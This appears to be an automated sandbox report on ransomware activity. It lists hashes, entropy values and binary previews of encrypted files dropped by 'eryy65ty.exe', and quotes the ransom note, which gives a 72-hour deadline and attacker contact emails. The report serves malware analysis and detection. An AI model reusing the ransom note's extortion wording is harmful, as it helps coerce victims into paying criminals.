                                                                                                                                        Preview:..6.B.wO6>....k..G,.sMD..x~.....^........M..Y.S.Y5.k.5@.v.s.....^...W~.k....]....<...M..'..=......r..Z.@.I....c..c..D...T..{7..7...._....`c.g.ib..4.N....^U&..z.(..i..<.i.b7..'..U;..8.....&v..%.....^....st.l.(.7..<.n...c.s..!5..I..^.G..!3..l....^(.L.....BV..".`zl.....k0.8....H...\V.Z.E+.4i..uM...Y...d...c.*.....$.}..G.._.!.&I..B...6......:h....sE...wC.;..[. ..r.s.-..b......v.=.$..Ve.LWB.ET.u..= m...s..N`8.B. 9..ZI0.e.......^2{u...&.;E..E.*.#.?.%......(...!.y.....YqqQ%A!.SU...|.s..ic.R.W..j*K...9.X..u..=..T.......`JC|.h..>.D?d.....jhF.6W.K.S4..m.;\P.V...ek....&.~.,...N...N2.;Q<......`.s\,..f...[<3....?. .?(k&L.^...A..6z..2..3I'.K..?.Z.o.^.J....}.5...I.)F.R..W.|.0...8a..+.....Z,.A......R_....8....S6.....%r.h.I/....N......`.@.V.j|..f..........j...o?........R\r.[..n,OG.&6%6..>...-......G........N......9..X{.C..../.....|xlB..rBV..$......,.X...I.....V.M..o...=.r.v.Y...9.....Q../Px.k<R...z.caJ?..d.|.......*(}....5.L_.NG.....(..R.....>....2.dGI.9.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.86400858455269
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:eu4/atxe8QdZRI62IPUvMw/b9yuBPxOT9hhNaHLtwOwfUfMDJZUccw/UopURc2m:elc8T5ISmM8B5SSHLqyaJAjW2m
                                                                                                                                        MD5:842F9606FB620EC2DE186F4281691A4C
                                                                                                                                        SHA1:0629093FDFC81BE7CCB83ADD499098C3D905D793
                                                                                                                                        SHA-256:0664CB08E7784FEC119930922D328283E98F3009784844030F3EEC6FC18367E2
                                                                                                                                        SHA-512:E0540B4BB18239D4287C87E9B663F46D578AF4298BEA838AB675F4689EB4F85C25992FBEBA4EA2DAE5CA283B26126F33CFE3B03B25ED1D96D0862281A9E8AC77
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:Y..M..-.....3s.q.+GA...G.@.....ni..{..@.'a61|....I..(.c..iNrb.3>6N'.08.c..3..F.N..}h...[.73..d;.#...g.....,..If.n....Y..z../..C.K.*j.s..}.A..IH..._Z...J95.&...J...Q..r.9.H.n..Pw......\s.....=.N.R.......+......:.s.n....\.h.H.7$.PG...]a..W..ox..,.A..Z...M..(f...8p'.Yn.*\......=X.H\.!.y...D..Eo....,.e.J .UG$.F. *..%.).b.|..G;......-.^...$.i..E..x6..:b.....z.N.=d.O...&J..(....M.l..v...m&\u.M..y.^.....5*...I.5."*.)t...E..T`....F.......GK..:...Pb...:o.{h.....4..VL.*..G@.IS.S'.MC..../M.....P...._.wWy.?A.5..g0..u?.......P.m.......R=.f#...-v.q......-<.$...!...'I......9.q......JC..keZ...;.U....f.. ."..xr..h.Vm>...b.z*.!.z..q.x.?nZ.P......&.....cP].*...P.s.'N}....{.?...5l(....#...(.$H......'..U...e.w..V.....A.Xw....]o..e.)Q...;.h{...\...k..%...E..]9..9q...O..i...=..(rch.<Hl.nyT...=E...a....F.d.......o.8..J....BW..lq7...7.<?.b.I.....s...xL.k..../PC..e.....~u[......$....._..X.UH.M...._.)|.....&....v....r9.z...&....D.N.....0.E..nH.p.E
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.86400858455269
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:eu4/atxe8QdZRI62IPUvMw/b9yuBPxOT9hhNaHLtwOwfUfMDJZUccw/UopURc2m:elc8T5ISmM8B5SSHLqyaJAjW2m
                                                                                                                                        MD5:842F9606FB620EC2DE186F4281691A4C
                                                                                                                                        SHA1:0629093FDFC81BE7CCB83ADD499098C3D905D793
                                                                                                                                        SHA-256:0664CB08E7784FEC119930922D328283E98F3009784844030F3EEC6FC18367E2
                                                                                                                                        SHA-512:E0540B4BB18239D4287C87E9B663F46D578AF4298BEA838AB675F4689EB4F85C25992FBEBA4EA2DAE5CA283B26126F33CFE3B03B25ED1D96D0862281A9E8AC77
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:Y..M..-.....3s.q.+GA...G.@.....ni..{..@.'a61|....I..(.c..iNrb.3>6N'.08.c..3..F.N..}h...[.73..d;.#...g.....,..If.n....Y..z../..C.K.*j.s..}.A..IH..._Z...J95.&...J...Q..r.9.H.n..Pw......\s.....=.N.R.......+......:.s.n....\.h.H.7$.PG...]a..W..ox..,.A..Z...M..(f...8p'.Yn.*\......=X.H\.!.y...D..Eo....,.e.J .UG$.F. *..%.).b.|..G;......-.^...$.i..E..x6..:b.....z.N.=d.O...&J..(....M.l..v...m&\u.M..y.^.....5*...I.5."*.)t...E..T`....F.......GK..:...Pb...:o.{h.....4..VL.*..G@.IS.S'.MC..../M.....P...._.wWy.?A.5..g0..u?.......P.m.......R=.f#...-v.q......-<.$...!...'I......9.q......JC..keZ...;.U....f.. ."..xr..h.Vm>...b.z*.!.z..q.x.?nZ.P......&.....cP].*...P.s.'N}....{.?...5l(....#...(.$H......'..U...e.w..V.....A.Xw....]o..e.)Q...;.h{...\...k..%...E..]9..9q...O..i...=..(rch.<Hl.nyT...=E...a....F.d.......o.8..J....BW..lq7...7.<?.b.I.....s...xL.k..../PC..e.....~u[......$....._..X.UH.M...._.)|.....&....v....r9.z...&....D.N.....0.E..nH.p.E
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.853375536255287
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:3RZbtsn0gwgP9Huf3w0mkdrYDsSAXHCeoTPW2UJIikgVADJ21C40yeMuRq:C/P9+wRkkD4CelpIikuG+CTyerQ
                                                                                                                                        MD5:3F884B8EA38FE7EC213F293D7EF9FB5F
                                                                                                                                        SHA1:D03C934DEFD9BB3A9969D9A96D31880F87A7BF8A
                                                                                                                                        SHA-256:ED5E73F56122EA51667D8AA7E79D9E9E893777B54EC76A10ACF93738B5B2F6EA
                                                                                                                                        SHA-512:A639FE2D5B65AA9FE630167B7914E666C0C333EBF36027A4723EE312BCF53160E59D039810698FFA3ADCCAF99585BE995D6FA22E6AA831AAC28E9CEC88C28FD5
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:....G..4..;XIC~l..si....v..)@% \. .G,R..d=Q[..c....G......d..SUh.........VS.s).U]Y>\.......|.MQ........I.> ..U0v.....|..l...V......x...fy.hS...q....5.3......S...l[}..B.....O}....T....yj.=..{.K8N"+X*H.!..@..1..Xc..$.cL.~w2.xzu..v.u,p....T.....`....!.........*.X..O.z$..La. ..-...2..4.1.D.N..M.?..h[#`...M=j.Jb.m.*.vn._Q.......4..*R....F@._.?....uZ.+......;uI}.+....a.}.h..........b....*....J.\.i%.C...Q..8.1.v..|.=.S..Sf.....I'T..~.^.V.JDga'...q......P7...6u.o.o.! ...-..R.......O..|.d.f...@..-(.P.U..(%.Lx.......r(...l...NR..m.....9...}.P...S....-T..g#i.n......1._....Pb.8..q..P8]}.yr.);...i.s....L...D.P.(f0...'......3.j.[Y...[..d=z.Aae.... c3Q^..............Pm.n....ucZ.....a..p...X".}:...:...#_.S.......'.-BF.v.De.....i....S.e....m....,u..:]).?.vrJ.......{....^0t'..x.:..P....Sm:Z...*8...ct....*....S@$...Gu......w....cQ.......*Ti.......q.....n....=5.Nz..../{-.V.c-.....O.E....B.0......1.Y...Y%.S#....gH.(....T/j.....cQ..q.'..bgg...V.&^..!.."..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.853375536255287
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:3RZbtsn0gwgP9Huf3w0mkdrYDsSAXHCeoTPW2UJIikgVADJ21C40yeMuRq:C/P9+wRkkD4CelpIikuG+CTyerQ
                                                                                                                                        MD5:3F884B8EA38FE7EC213F293D7EF9FB5F
                                                                                                                                        SHA1:D03C934DEFD9BB3A9969D9A96D31880F87A7BF8A
                                                                                                                                        SHA-256:ED5E73F56122EA51667D8AA7E79D9E9E893777B54EC76A10ACF93738B5B2F6EA
                                                                                                                                        SHA-512:A639FE2D5B65AA9FE630167B7914E666C0C333EBF36027A4723EE312BCF53160E59D039810698FFA3ADCCAF99585BE995D6FA22E6AA831AAC28E9CEC88C28FD5
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:....G..4..;XIC~l..si....v..)@% \. .G,R..d=Q[..c....G......d..SUh.........VS.s).U]Y>\.......|.MQ........I.> ..U0v.....|..l...V......x...fy.hS...q....5.3......S...l[}..B.....O}....T....yj.=..{.K8N"+X*H.!..@..1..Xc..$.cL.~w2.xzu..v.u,p....T.....`....!.........*.X..O.z$..La. ..-...2..4.1.D.N..M.?..h[#`...M=j.Jb.m.*.vn._Q.......4..*R....F@._.?....uZ.+......;uI}.+....a.}.h..........b....*....J.\.i%.C...Q..8.1.v..|.=.S..Sf.....I'T..~.^.V.JDga'...q......P7...6u.o.o.! ...-..R.......O..|.d.f...@..-(.P.U..(%.Lx.......r(...l...NR..m.....9...}.P...S....-T..g#i.n......1._....Pb.8..q..P8]}.yr.);...i.s....L...D.P.(f0...'......3.j.[Y...[..d=z.Aae.... c3Q^..............Pm.n....ucZ.....a..p...X".}:...:...#_.S.......'.-BF.v.De.....i....S.e....m....,u..:]).?.vrJ.......{....^0t'..x.:..P....Sm:Z...*8...ct....*....S@$...Gu......w....cQ.......*Ti.......q.....n....=5.Nz..../{-.V.c-.....O.E....B.0......1.Y...Y%.S#....gH.(....T/j.....cQ..q.'..bgg...V.&^..!.."..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.832486116477123
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:EM9S9f8A0HjM9l6isQmvHC4JjNa7i9zGmI1G66UsxqouIUjscvA/OWks:EKS9fcHjM9l6isQKhJjMoR6+Nf2WF
                                                                                                                                        MD5:CAB8BF024A965B07184D793DF3832EE3
                                                                                                                                        SHA1:16039872BEE2CE3F5483EC8C5775542260FBAB42
                                                                                                                                        SHA-256:C90A4FF0383BB56539E2F8D642A2F464E39F0D1FA1A3F6DDA76572614407E416
                                                                                                                                        SHA-512:7368AC7432363D6D66213C7076936B82845DBB670F9E8398FD8463CE4368664E0C1356DDEE270E8014928E19499ABA395755650D7CDD92156B2FC8E2B3F3FED9
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:......2.-..D,..m!.....T....F.C"...'9<...;..vs.#..>.~.......m.>2i..y._..K.J.(>%.^.x....~?..t...{C..S.P._..e.'.....7..@..F.W......d.-..$...q|..Z...,....R.{.....P]....m...j...k...P.4..j.U_oO.<.....d[.Rv#[...8~._..b..y..p..2zt.}....k...=>..a.>8W<.=.C3w+..T...= _....h."....i..}......G_m..!..........j.U:...za.?:....2.jM.....O..-.Ki.&P.-.35..h....x.h.#.P..+k..2G..t........j.....!K..C{...B&...:p.."2..z.....&...k:.5..,.j.>V..Aq....=..L...l..d[}..S.Z........hA)...c(...H...&..O...>...._",eQ....I.0...e..E9y.a7.,..%....%.Dw.-.S..}..g...|.....;,.Fd\.g...o.y..z.G..9.I..01<1S.s5.z.C.S.f...k..Vm..j|.WJ.......>......;......y.N.M.j.$.1............O.__x.3.,.....[*...5d.......{..D.......f...0......5XjC....."ae...N.Cb..a........W.&.$..XJ.mi.....k..I.,.u...<.%x...L.M)...`..#I..03.[y{.;:5.}......[F..............0....2<...A.......%....@C....IjrO:G.6.|...<J.s..NEc.7.'...R........x......0/.Z......e?.O/5........Tl....x.K...J....FX...#..'.^.p.+W.>....Y..P .1....H
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.832486116477123
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:EM9S9f8A0HjM9l6isQmvHC4JjNa7i9zGmI1G66UsxqouIUjscvA/OWks:EKS9fcHjM9l6isQKhJjMoR6+Nf2WF
                                                                                                                                        MD5:CAB8BF024A965B07184D793DF3832EE3
                                                                                                                                        SHA1:16039872BEE2CE3F5483EC8C5775542260FBAB42
                                                                                                                                        SHA-256:C90A4FF0383BB56539E2F8D642A2F464E39F0D1FA1A3F6DDA76572614407E416
                                                                                                                                        SHA-512:7368AC7432363D6D66213C7076936B82845DBB670F9E8398FD8463CE4368664E0C1356DDEE270E8014928E19499ABA395755650D7CDD92156B2FC8E2B3F3FED9
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:......2.-..D,..m!.....T....F.C"...'9<...;..vs.#..>.~.......m.>2i..y._..K.J.(>%.^.x....~?..t...{C..S.P._..e.'.....7..@..F.W......d.-..$...q|..Z...,....R.{.....P]....m...j...k...P.4..j.U_oO.<.....d[.Rv#[...8~._..b..y..p..2zt.}....k...=>..a.>8W<.=.C3w+..T...= _....h."....i..}......G_m..!..........j.U:...za.?:....2.jM.....O..-.Ki.&P.-.35..h....x.h.#.P..+k..2G..t........j.....!K..C{...B&...:p.."2..z.....&...k:.5..,.j.>V..Aq....=..L...l..d[}..S.Z........hA)...c(...H...&..O...>...._",eQ....I.0...e..E9y.a7.,..%....%.Dw.-.S..}..g...|.....;,.Fd\.g...o.y..z.G..9.I..01<1S.s5.z.C.S.f...k..Vm..j|.WJ.......>......;......y.N.M.j.$.1............O.__x.3.,.....[*...5d.......{..D.......f...0......5XjC....."ae...N.Cb..a........W.&.$..XJ.mi.....k..I.,.u...<.%x...L.M)...`..#I..03.[y{.;:5.}......[F..............0....2<...A.......%....@C....IjrO:G.6.|...<J.s..NEc.7.'...R........x......0/.Z......e?.O/5........Tl....x.K...J....FX...#..'.^.p.+W.>....Y..P .1....H
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.856966366014092
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:OdbwX0/Xl4MPvqD44OoZ+XQwhrg+4IR/4M9ACFYTGo:OdcE/14MPvqs+Z+XjhkgIGo
                                                                                                                                        MD5:0E977EB2AC305FE405DD23F823DC16CC
                                                                                                                                        SHA1:56AA319C9401726A137D426721CC8CFAA8703606
                                                                                                                                        SHA-256:72F3A6C0B5738CC0848E5DA756D5553F626C46119E23891AD8619E3238388297
                                                                                                                                        SHA-512:1B1FD3A43C3650669B8C44589D389C0EB05875C7EE4CDA21C5CC41EAAC081A8015459E8C3BCD896F6C738F9E5C965635391B81C8193A7CDC6AFAECAAEDFB9512
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.<.BL<E....G..5FO..M.H."a...e)..l.....e..{..-.(5.$..i*.4%......{.(......;:d....$.........r...G.p-..-[....~...s.\/..D..d.......o}.$*..G.*..m.(.^F......Z.....o.....6.(.l.SP..r.U7o...N.h-..).8..@...3.6.FG.e...S"A..e..Ne..?..l.[.=..=N..."..w..J..-K]d...e...\.O.a..1..Rt~PV..a.'.%.aO%...4../...;...#...w....j..;.`........R.g......Qm."...:...$MIHb.....'m.&..@q.$.:.?..y.......So........g:0..;.r.......~..I{......'....v.e....k..#.qB2>..y%..4x|3....t..TkG>b.".r...........+.Li.....t...%.ki..G..,..`$.pGIK...J./>...%.n.$k>..+AZ......;.p......oO.D.|.;Oy#.?>>U..O:~9#......Pz.....Y.r....0..c..af..O...x<.t..7^.......Dj......~+........7...6[r..&p.{...zB.U6.^.6dm.y....1pE.t..,..[.5...@......s`g:D.....W??..&...{+.Y.s.j.......3].....S.H.G.i...":.T.q.4.{.......... ......g;F..r..T..*Y.."....J..`...F..a.[#@..J....Q=.@*..+vg@.. C..`.)...jS......F.`Tcz.S($..)..JD|.K.E..e.y....`.P.s.J.j@....x...c.J<...bK.)_........p.....P..H..j!.......7@*....._......6..<!l
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.856966366014092
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:OdbwX0/Xl4MPvqD44OoZ+XQwhrg+4IR/4M9ACFYTGo:OdcE/14MPvqs+Z+XjhkgIGo
                                                                                                                                        MD5:0E977EB2AC305FE405DD23F823DC16CC
                                                                                                                                        SHA1:56AA319C9401726A137D426721CC8CFAA8703606
                                                                                                                                        SHA-256:72F3A6C0B5738CC0848E5DA756D5553F626C46119E23891AD8619E3238388297
                                                                                                                                        SHA-512:1B1FD3A43C3650669B8C44589D389C0EB05875C7EE4CDA21C5CC41EAAC081A8015459E8C3BCD896F6C738F9E5C965635391B81C8193A7CDC6AFAECAAEDFB9512
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.<.BL<E....G..5FO..M.H."a...e)..l.....e..{..-.(5.$..i*.4%......{.(......;:d....$.........r...G.p-..-[....~...s.\/..D..d.......o}.$*..G.*..m.(.^F......Z.....o.....6.(.l.SP..r.U7o...N.h-..).8..@...3.6.FG.e...S"A..e..Ne..?..l.[.=..=N..."..w..J..-K]d...e...\.O.a..1..Rt~PV..a.'.%.aO%...4../...;...#...w....j..;.`........R.g......Qm."...:...$MIHb.....'m.&..@q.$.:.?..y.......So........g:0..;.r.......~..I{......'....v.e....k..#.qB2>..y%..4x|3....t..TkG>b.".r...........+.Li.....t...%.ki..G..,..`$.pGIK...J./>...%.n.$k>..+AZ......;.p......oO.D.|.;Oy#.?>>U..O:~9#......Pz.....Y.r....0..c..af..O...x<.t..7^.......Dj......~+........7...6[r..&p.{...zB.U6.^.6dm.y....1pE.t..,..[.5...@......s`g:D.....W??..&...{+.Y.s.j.......3].....S.H.G.i...":.T.q.4.{.......... ......g;F..r..T..*Y.."....J..`...F..a.[#@..J....Q=.@*..+vg@.. C..`.)...jS......F.`Tcz.S($..)..JD|.K.E..e.y....`.P.s.J.j@....x...c.J<...bK.)_........p.....P..H..j!.......7@*....._......6..<!l
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.840132514562831
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:CSotU1dj5IBfMKSdGA7rdaa1Vlfxz+NS7aVq445RmuGpay40:lb59KpurUanQUEqHT+a+
                                                                                                                                        MD5:9A94B773D0C570AAECC244D6D2735CF7
                                                                                                                                        SHA1:59668AB90BAC6870CD4A7AB80CB4AAF353C30691
                                                                                                                                        SHA-256:F146B71130176DDD3C107DEB02447F68F920634F49752A32433429B3A3A8EDEB
                                                                                                                                        SHA-512:C15FFCA0AEF633ED557E045FA1CC86A7C59D6EDDE024F42940C06F0C8C9480758440018C17F1E704E901102066E07D0AA4926F284AEBB63141DF3BB8DDCAE504
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:8..k..A...M....\.....`cY...~.u...y...R..Y...Q..*_.<.....o...T..$.g~..p...W...M..}..E.Vq0.K`..|2..q..d.2s..... ..64.I.....*..p[...J..Jh.s....:..o.G...A.!&..x..UQp..*s......=......>.2X....)..p.Y9...t.....6]..K.x.........P}.J..rMK.B8..EN\...^....1FG^FR.w^sOs ..3].D....y..((&^...1.....^3....8.%`...EZ.ta.L.A.;..V.v.rtf.Bs..^. .$.%...M.[-).p.\..NrU....[.;...q..RH..&j%J0..rn\...^...d.e..5......;...i>....n.y...k...wIN......L..b...&.d.....de.m...........|Z.%.UF'\<.*.P[.v...bPu....(..eS......r\../.-.,.C\(... H].X#.`aL.H.0NP....e...M..."...cM.G.r......A.,a'.c..(r9m..T4....\..9G....qA.b8...g..%....$..>X.a;..3......Y.?..+.'......NP......]RZ!."..0l~.*..0.b...z....-.P..1p#...*.+Y.'..9t.8...........,Q".+...p..D.Yh.Tq..k?B. .....r .X.."\...4U7...+............E.Qo....G..X/t..8k.>.R.Z....?...n:..u.....~].;.....r_.),..eo..2.auw....O..Yp.Y..P[~......k.....)..8i........#.............f4.aX.1... 6...s.1M..q.1..0..EBe.*..y....}.....Nr.]6tH.7.....1n....$n.....GK}>W..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.840132514562831
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:CSotU1dj5IBfMKSdGA7rdaa1Vlfxz+NS7aVq445RmuGpay40:lb59KpurUanQUEqHT+a+
                                                                                                                                        MD5:9A94B773D0C570AAECC244D6D2735CF7
                                                                                                                                        SHA1:59668AB90BAC6870CD4A7AB80CB4AAF353C30691
                                                                                                                                        SHA-256:F146B71130176DDD3C107DEB02447F68F920634F49752A32433429B3A3A8EDEB
                                                                                                                                        SHA-512:C15FFCA0AEF633ED557E045FA1CC86A7C59D6EDDE024F42940C06F0C8C9480758440018C17F1E704E901102066E07D0AA4926F284AEBB63141DF3BB8DDCAE504
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:8..k..A...M....\.....`cY...~.u...y...R..Y...Q..*_.<.....o...T..$.g~..p...W...M..}..E.Vq0.K`..|2..q..d.2s..... ..64.I.....*..p[...J..Jh.s....:..o.G...A.!&..x..UQp..*s......=......>.2X....)..p.Y9...t.....6]..K.x.........P}.J..rMK.B8..EN\...^....1FG^FR.w^sOs ..3].D....y..((&^...1.....^3....8.%`...EZ.ta.L.A.;..V.v.rtf.Bs..^. .$.%...M.[-).p.\..NrU....[.;...q..RH..&j%J0..rn\...^...d.e..5......;...i>....n.y...k...wIN......L..b...&.d.....de.m...........|Z.%.UF'\<.*.P[.v...bPu....(..eS......r\../.-.,.C\(... H].X#.`aL.H.0NP....e...M..."...cM.G.r......A.,a'.c..(r9m..T4....\..9G....qA.b8...g..%....$..>X.a;..3......Y.?..+.'......NP......]RZ!."..0l~.*..0.b...z....-.P..1p#...*.+Y.'..9t.8...........,Q".+...p..D.Yh.Tq..k?B. .....r .X.."\...4U7...+............E.Qo....G..X/t..8k.>.R.Z....?...n:..u.....~].;.....r_.),..eo..2.auw....O..Yp.Y..P[~......k.....)..8i........#.............f4.aX.1... 6...s.1M..q.1..0..EBe.*..y....}.....Nr.]6tH.7.....1n....$n.....GK}>W..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.850268781051018
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:lm7ll/5A67MkhOodB2+f8Defl2a7mADkGrHFN4AnDHO8fDGgKqnS:YF7jQ0l8wZ73VDTbfKg/S
                                                                                                                                        MD5:BCB7487FABE45A2F7DE3754A19E61E49
                                                                                                                                        SHA1:C6B008E9511DFE3269211D918306A2DA91C32107
                                                                                                                                        SHA-256:22821C2B1C7D3A432CC4D8EC79800AA5BA8170C098E46FB10D1AD4A2B3F7348E
                                                                                                                                        SHA-512:AB0DEE64FFF9B18E6EB1E5EE3E783A9169FAFEECC6230B632BFD798995B252B764D13EA4E621CEE591F307191E3FE83EC21B52CADA24844F4B907ABB2D37B199
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:Z.S.r..$....w....(a..G1.v]..K".z..].G.=.L&{:y.."..0..?..)....&.+..s |.H..U..T9x...%O..1.........z.{...d.%v@a!.Kx=D..Qb.D.W.Hj.....RAI..;).....i.$...|c...]......E..:.y.8.b-..~..y..k.C,...o.H...6~.....<...N.<. ..H.V. ..Lp.D.M{.!<(....v.9..i.....uY......NF2..Q:.=...?.....e...y.%t..0..a.'.U.Y..s...t.....7.....]..O...QW...a2.w.g..: W._.{.p...{.....j.o....))S..J..........?l,/....5O:;..2c\.gn&.7Y]n.{.|...BZ.a/.!.P..F..n......1./...R.k.....5;[.Dt.oX gad........L...!.:...y0..i..^y:n.f..b....c..vX{..PW?#...or^m.^..xU."*.6n&...k.pZ..n.$..e)...1.......W.G.....9.. .<-i.qCs".<..]6..yf%...........`.X..\......]A.[Q..9+.....4F....g.%.....4....Sg...-SCZ.....I.8$.F...l....!.d.?..2...y....l....R.3VC....D...3....w.m....O..X`.Y.........p.I.P.|../S..E..-c.G......k..qzh,..L..=..J.v{s....,k2.AJOO.L..'....M..[.....'......;Zn....*..ah.s......&...%/.c#.{4....7.CWT....)..w...."=d2...EU.7evIPr!o.JbA.....}:|........@...H.1...lt....Ym.^< ".Io..K..%...........
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.850268781051018
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:lm7ll/5A67MkhOodB2+f8Defl2a7mADkGrHFN4AnDHO8fDGgKqnS:YF7jQ0l8wZ73VDTbfKg/S
                                                                                                                                        MD5:BCB7487FABE45A2F7DE3754A19E61E49
                                                                                                                                        SHA1:C6B008E9511DFE3269211D918306A2DA91C32107
                                                                                                                                        SHA-256:22821C2B1C7D3A432CC4D8EC79800AA5BA8170C098E46FB10D1AD4A2B3F7348E
                                                                                                                                        SHA-512:AB0DEE64FFF9B18E6EB1E5EE3E783A9169FAFEECC6230B632BFD798995B252B764D13EA4E621CEE591F307191E3FE83EC21B52CADA24844F4B907ABB2D37B199
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:Z.S.r..$....w....(a..G1.v]..K".z..].G.=.L&{:y.."..0..?..)....&.+..s |.H..U..T9x...%O..1.........z.{...d.%v@a!.Kx=D..Qb.D.W.Hj.....RAI..;).....i.$...|c...]......E..:.y.8.b-..~..y..k.C,...o.H...6~.....<...N.<. ..H.V. ..Lp.D.M{.!<(....v.9..i.....uY......NF2..Q:.=...?.....e...y.%t..0..a.'.U.Y..s...t.....7.....]..O...QW...a2.w.g..: W._.{.p...{.....j.o....))S..J..........?l,/....5O:;..2c\.gn&.7Y]n.{.|...BZ.a/.!.P..F..n......1./...R.k.....5;[.Dt.oX gad........L...!.:...y0..i..^y:n.f..b....c..vX{..PW?#...or^m.^..xU."*.6n&...k.pZ..n.$..e)...1.......W.G.....9.. .<-i.qCs".<..]6..yf%...........`.X..\......]A.[Q..9+.....4F....g.%.....4....Sg...-SCZ.....I.8$.F...l....!.d.?..2...y....l....R.3VC....D...3....w.m....O..X`.Y.........p.I.P.|../S..E..-c.G......k..qzh,..L..=..J.v{s....,k2.AJOO.L..'....M..[.....'......;Zn....*..ah.s......&...%/.c#.{4....7.CWT....)..w...."=d2...EU.7evIPr!o.JbA.....}:|........@...H.1...lt....Ym.^< ".Io..K..%...........
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.85029326549022
